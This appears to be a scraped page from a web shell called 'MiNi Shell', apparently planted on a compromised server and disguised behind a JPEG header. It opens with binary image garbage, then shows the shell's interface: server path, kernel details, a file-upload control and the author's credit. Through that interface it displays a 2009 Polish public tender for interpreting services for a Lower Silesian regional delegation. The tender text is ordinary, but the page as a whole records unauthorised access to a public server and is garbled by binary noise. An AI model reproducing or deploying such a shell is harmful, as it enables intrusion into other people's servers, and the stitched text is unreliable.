JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20090326/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20090326/78110-N-2009.html

<p class="kh_header"><b>Wrocław: OBSŁUGA TŁUMACZENIOWA USTNA Z JĘZYKA POLSKIEGO NA JĘZYK OBCY I Z JĘZYKA OBCEGO NA JĘZYK POLSKI DELEGACJI PRZEDSTAWICIELI URZĘDU W RAMACH PROJEKTU P4G PARTNERSTWO NA DOBRE PRZY WSPARCIU UDZIELONYM PRZEZ NORWEGIĘ POPRZEZ DOFINANSOWANIE ZE ŚRODKÓW NORWESKIEGO MECHANIZMU FINANSOWEGO</b><br>
<b>Numer ogłoszenia: 78110 - 2009; data zamieszczenia: 26.03.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Dolnośląskie - Urząd Marszałkowski Województwa Dolnośląskiego , ul. Wybrzeże J. Słowackiego 12-14, 50-411 Wrocław, woj. dolnośląskie, tel. 071 7769397,7769703-05,7779229, faks 071 7769141, 7769702.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umwd.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> OBSŁUGA TŁUMACZENIOWA USTNA Z JĘZYKA POLSKIEGO NA JĘZYK OBCY I Z JĘZYKA OBCEGO NA JĘZYK POLSKI DELEGACJI PRZEDSTAWICIELI URZĘDU W RAMACH PROJEKTU P4G PARTNERSTWO NA DOBRE PRZY WSPARCIU UDZIELONYM PRZEZ NORWEGIĘ POPRZEZ DOFINANSOWANIE ZE ŚRODKÓW NORWESKIEGO MECHANIZMU FINANSOWEGO.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia  jest obsługa tłumaczeniowa ustna z języka polskiego na język obcy i z języka obcego na język polski delegacji przedstawicieli urzędu w ramach projektu P4G - Partnerstwo na dobre przy wsparciu udzielonym przez Norwegię poprzez dofinansowanie ze środków Norweskiego Mechanizmu Finansowego, zwana dalej tłumaczeniami.

Przedmiot zamówienia obejmuje:
1)	tłumaczenia ustne konsekutywne z języka polskiego na język niemiecki oraz 
z języka niemieckiego na język polski w ilości min. 3 dni tłumaczeniowych, świadczone w czasie pobytu w regionie Styria w Austrii w planowanym terminie 27.04.2009 r. - 29.04.2009 r.
2)	tłumaczenia ustne konsekutywne z języka polskiego na język ukraiński oraz 
z języka ukraińskiego na język polski w ilości min. 4 dni tłumaczeniowych, świadczone w czasie pobytu w regionie Kirovograd na Ukrainie w planowanym terminie 7.09.2009 r. - 10.09.2009 r. 
3)	tłumaczenia ustne konsekutywne z języka polskiego na język francuski oraz 
z języka francuskiego na język polski w ilości min. 4 dni tłumaczeniowych, świadczone w czasie pobytu w regionie Alzacja we Francji w planowanym terminie 21.09.2009 r. - 24.09.2009 r.

Zamawiający nie pokrywa kosztów dojazdu, noclegów i wyżywienia dla tłumacza. Wszelkie koszty podróży do i z miejsca tłumaczenia, noclegów i wyżywienia Wykonawca zapewnia we własnym zakresie. Wyjątkiem jest podróż (tam i z powrotem) z Wrocławia do Grazu w Styrii, którą tłumacz j. niemieckiego może odbyć busem z delegacją urzędu. 
W czasie każdego pobytu i przez cały okres jego trwania noclegi delegacji urzędu będą miały miejsce w stolicy danego regionu (Styria - Graz, Kirovograd - Kirovograd, Alzacja - Strasburg). 
Zamawiający informuje, że nie pokrywa kosztów ewentualnych podróży w obrębie Kirovogradu i Alzacji w czasie trwania danego dnia tłumaczeniowego w ramach programu delegacji. Wyjątkiem są podróże w obrębie Styrii, które zapewnia Zamawiający. W czasie podróży w obrębie danego regionu tłumacz jest zobowiązany towarzyszyć delegacji urzędu. Jednocześnie Zamawiający informuje, że w przypadku podróży w obrębie danego regionu, które nie byłyby organizowane i finansowane przez gospodarzy spotkań w Kirovogradzie 
i Alzacji delegacja urzędu będzie starała się korzystać z najbardziej ekonomicznych, dostępnych środków transportu.
Zamawiający zastrzega sobie możliwość zmiany terminu delegacji lub rezygnacji z obsługi tłumaczeniowej danego pobytu w razie, gdyby nie doszedł on do skutku..</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1, 79.53.00.00-8.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 06.11.2009.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> nie dotyczy<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> V.	Opis warunków udziału w postępowaniu oraz opis sposobu dokonania oceny spełniania tych warunków.
1.	O udzielenie niniejszego zamówienia mogą się ubiegać wykonawcy, którzy:
a)	posiadają uprawnienia niezbędne do wykonywania działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień; 
b)	posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia; tj.: 
1)	w zakresie doświadczenia zawodowego wykażą się, w ciągu ostatnich trzech lat przed dniem wszczęcia postępowania o udzielenie zamówienia publicznego,          a jeżeli okres prowadzenia działalności jest krótszy- w tym okresie: wykonali minimum jedną usługę, odpowiadającą przedmiotowi niniejszego zamówienia tzn. usługę realizacji tłumaczeń ustnych - w ramach języka niemieckiego, francuskiego lub ukraińskiego o wartości nie mniejszej niż 15 tys. zł brutto każda; 


2)	w zakresie osób i/lub podmiotów pozostających do dyspozycji Wykonawcy: wykonawca dysponuje minimum jednym tłumaczem dla  języka: niemieckiego, francuskiego i ukraińskiego , którzy spełniają poniższe warunki:

I.	Posiada tytuł magistra filologii obcej lub kwalifikacje językowe(odpowiednio w ramach każdego języka) na poziomie C2 - zgodnie ze skalą biegłości językowej według Rady Europy. Dokument musi być wydany przez niezależny ośrodek egzaminacyjny; w przypadku języka ukraińskiego dokument ten nie jest wymagany;
II.	W przypadku tłumaczeń ustnych: posiada co najmniej roczne doświadczenie w  tłumaczeniach ustnych oraz tłumaczył co najmniej 3 spotkania dot. tematyki  spóród z zakresu: transport i komunikacja,               ochrona środowiska, bezpieczeństwo, gospodarka, nauka, ład przestrzenny, turystyka, kształcenie i szkolenia, kultura i dziedzictwo kulturowe, sprawy społeczne, finanse, tematyka związana z funduszami strukturalnymi Unii Europejskiej,  prawo i administracja.
Warunki I + II  muszą zostać spełnione łącznie przez każdego tłumacza. 

c)	znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia; 
d)	nie podlegają wykluczeniu z postępowania o udzielenie zamówienia na podst. art. 24 ust. 1 
i ust. 2.
2.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. Przepisy dotyczące Wykonawcy stosuje się odpowiednio do wykonawców wspólnie ubiegających się o zamówienie. Przy ocenie spełniania warunków przez osoby wspólnie składające ofertę Zamawiający przyjmuje, że wymagania o charakterze podmiotowym powinni spełniać wszyscy współubiegający się                  o zamówienie, natomiast wymagania dotyczące posiadania niezbędnej wiedzy i doświadczenia oraz dysponowania osobami zdolnymi do wykonania zamówienia mogą spełniać tylko niektórzy  z tych Wykonawców, tak by sumarycznie w odniesieniu do wszystkich tych Wykonawców były spełnione łącznie.
3.	Ocena spełniania ww. warunków dokonana zostanie zgodnie z formułą spełnia-nie spełnia 
w oparciu o informacje zawarte w dokumentach lub oświadczeniach wyszczególnionych 
w rozdziale VI SIWZ. 
4.	Z treści załączonych dokumentów musi jednoznacznie wynikać, iż ww. warunki Wykonawca spełnił.
5.	Zamawiający wzywa do uzupełnienia oświadczeń lub dokumentów potwierdzających spełnienie warunków udziału w postępowaniu na zasadach określonych art. 26 ust.3 Ustawy Pzp.
6.	Nie spełnienie któregokolwiek z ww. warunków udziału w postępowaniu skutkować będzie wykluczeniem wykonawcy z postępowania, z zastrzeżeniem art. 26 ust. 3 Ustawy Pzp..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> VI.	Wykaz oświadczeń lub dokumentów, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełnienia warunków udziału w postępowaniu.

VI.1.Wykonawcy składają wraz z ofertą następujące dokumenty:
1.	Aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert. W przypadku gdy wykonawcą jest podmiot zobowiązany do rejestracji w Krajowym Rejestrze Sądowym, a w załączonym odpisie z rejestru nie uwzględniono zmian w tekście dokumentu, wykonawca dodatkowo zobowiązany jest do dołączenia do oferty dowodu złożenia w sądzie rejestrowym ww. zmian.
2.	Oświadczenie wykonawcy o spełnianiu warunków udziału w postępowaniu na podstawie 
art. 22 ust 1 pkt 1-4 (wzór oświadczenia stanowi Załącznik nr 2 do SIWZ). W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia,  Wykonawcy mogą złożyć oświadczenie wspólnie na jednym dokumencie  (oświadczenie podpisane przez Pełnomocnika lub przez każdego z Wykonawców odrębnie) lub każdy z nich na odrębnym dokumencie.
3.	Wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych, również wykonywanych usług  w okresie ostatnich 3 lat przed dniem wszczęcia postępowania o udzielenie zamówienia, 
a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, polegających na wykonaniu usług określonych w Rozdziale V pkt 1 lit. b, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców wraz z  dokumentami potwierdzającymi, że zamówienia te zostały wykonane należycie ( Załącznik nr 3 do SIWZ).
4.	Wykaz osób i podmiotów, które będą uczestniczyć w wykonywaniu zamówienia, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności ( wzór wykazu stanowi  Załącznik nr 4 do SIWZ).

VI.2. Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, składa:
1) zamiast dokumentów, o których mowa w rozdz. VI. pkt 1 ppkt 1 SIWZ dokument lub dokumenty wystawione w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzające odpowiednio, że:
-	nie otwarto jego likwidacji ani nie ogłoszono upadłości, (powinny być wystawione nie wcześniej niż, 6 miesięcy przed upływem terminu składania ofert w postępowaniu 
o udzielenie zamówienia.);
-	nie orzeczono wobec niego zakazu ubiegania się o zamówienie (powinny być wystawione nie wcześniej niż, 6 miesięcy przed upływem terminu składania ofert w postępowaniu 
o udzielenie zamówienia.).
Jeżeli w kraju pochodzenia osoby lub w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się ww. dokumentu lub dokumentów zastępuje się je dokumentem zawierającym oświadczenie złożone przed notariuszem, właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio kraju pochodzenia osoby lub kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania. Dokumenty te powinny być wystawione w terminach określonych odpowiednio powyżej w pkt 1). 

Dokumenty, są składane w formie oryginału lub kopii poświadczonej przez wykonawcę za zgodność  z oryginałem. Dokumenty sporządzone w języku obcym są składane wraz z tłumaczeniem na język polski poświadczonym przez Wykonawcę.

Pozostałe dokumenty z punktu VI Wykonawca, który ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej składa w formie i treści w nim określonej.

VI.3. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia publicznego
1.	Wykonawcy wspólnie ubiegający się o niniejsze zamówienie ustanawiają Pełnomocnika do reprezentowania ich w niniejszym postępowaniu lub do reprezentowania ich w niniejszym postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.
2.	Wszelka korespondencja prowadzona będzie wyłącznie z Pełnomocnikiem.
3.	Wykonawcy wspólnie ubiegający się o niniejsze zamówienie, których oferta zostanie uznana 
za najkorzystniejszą, przed zawarciem umowy o realizację zamówienia są zobowiązani przedłożyć Zamawiającemu umowę regulującą współpracę tych Wykonawców. W tym celu przed podpisaniem umowy o niniejsze zamówienie są oni zobowiązani przedstawić Zamawiającemu stosowne porozumienie (umowę) zawierające w swojej treści co najmniej następujące postanowienia:
a)	zawiązania porozumienia co najmniej na czas nie krótszy niż czas trwania umowy,
b)	wskazanie Pełnomocnika,
c)	zapis o wspólnej i solidarnej odpowiedzialności w zakresie realizowanego zamówienia,
d)	zakaz zmiany Partnerów (Wykonawców) wspólnie realizujących dane zamówienie publiczne w trakcie jego obowiązywania..</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.bip.umwd.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Marszałkowski Województwa Dolnośląskiego
Wybrzeże J. Słowackiego 12 - 14, 
50 - 411 Wrocław.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 03.04.2009 godzina 09:30, miejsce: Urząd Marszałkowski Województwa Dolnośląskiego
Wybrzeże J. Słowackiego 12 - 14, 
50 - 411 Wrocław
pok. nr 101.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com